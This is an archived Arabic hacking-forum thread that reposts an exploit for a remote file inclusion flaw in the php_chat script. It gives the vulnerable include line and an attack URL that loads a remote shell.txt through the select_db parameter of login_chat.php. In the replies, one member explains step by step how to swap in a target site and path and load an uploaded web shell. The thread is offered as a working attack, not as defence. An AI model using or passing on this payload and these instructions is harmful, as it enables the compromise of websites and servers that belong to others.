:: vBspiders Professional Network :: - ثغرة جديده من هكر عرعر

:: vBspiders Professional Network :: (http://www.vbspiders.com/vb/index.php)

- قـسـم إخـتـراق الـمـواقـع والـسـيرفـرات (http://www.vbspiders.com/vb/forumdisplay.php?f=38)

- - ثغرة جديده من هكر عرعر (http://www.vbspiders.com/vb/showthread.php?t=32872)

ثغرة جديده من هكر عرعر

كود PHP:

   *# Exploit Title:   php_chat Remote File inclusion Vulnerability  

 
# Date: 2010/07/20  

 
# Author: HaCkEr arar  

 
# Email: [email]y.0@hotmail.de[/email]  

 
# My Sites : [url]www.vbspiders.com[/url]  

 
# Script home:  

 
[url]http://www.opensourcescripts.com/dir/PHP/Chat/php_chat_module_for123_flash_chat_4902.html[/url]  

 
# Tested on: Windows  

 
# Team hacker:HaCkEr aRaR & ViRuS Qalaa >>>X-MaN HaCk3r TeaM  

 
# ViRuS Qalaa: [email]em9@live.com[/email]  

 
:::::::::::::::::::::::::  

 
=================Exploit=================  

 
   

 
-=[ vuln c0de ]=-  

 
include('db/'.$select_db.'.php');  

 
login_chat.php  

 
Line:41  

 
   

 
----exploit----  

 
   

 
http://{localhost}/{path}login_chat.php?select_db=shell.txt?  

 
   

 
---------greatz----------  

 
Greatz to :  

 
ViRuS Qalaa,VoLc4n0,Members [url]www.j1q1.com[/url]  

 
   

 
and My friends Others and My friends in MSN  

 
EnJoY o_O* 

_____________________________________________________

http://www.exploit-db.com/exploits/14425/

[motr][motr1]بارك الله فيك يا اخ فايروس يشرفني ان اكون اول من يرد عليك[/motr1][/motr]

شكرا وبارك الله فيك

كيف الاستغلال

مشكووورين حبيبي

بس اعتقد النوع ده من الثغرات قريب ينقرض ههههههه

بسبب الاصدار الجديد للملقم بي آتش بي

اذا ممكن .. كيف طريقة الاستغلال

[align=center]اخي طريقة الاستغلال كذا
----

كود PHP:

http://{localhost}/{path}/login_chat.php?select_db=shell.txt?

اولا رابط الموقع نضعة بدل {localhost}
ثانيا المجلد لي فية السكريب نضعة بدل {path} واذا كان السكريب قي الواجة نمسح هذة
ثالثا الملف والدالة هذة

كود PHP:

/login_chat.php?select_db=

رابعا نضع بدل shell.txt شل مرفوع بصيغة txt
خامسا نضع في الاخر علامة استفهام
وتحياتي لكم [/align]

مشكور يا غالي عل تغرة بس ماهو دورك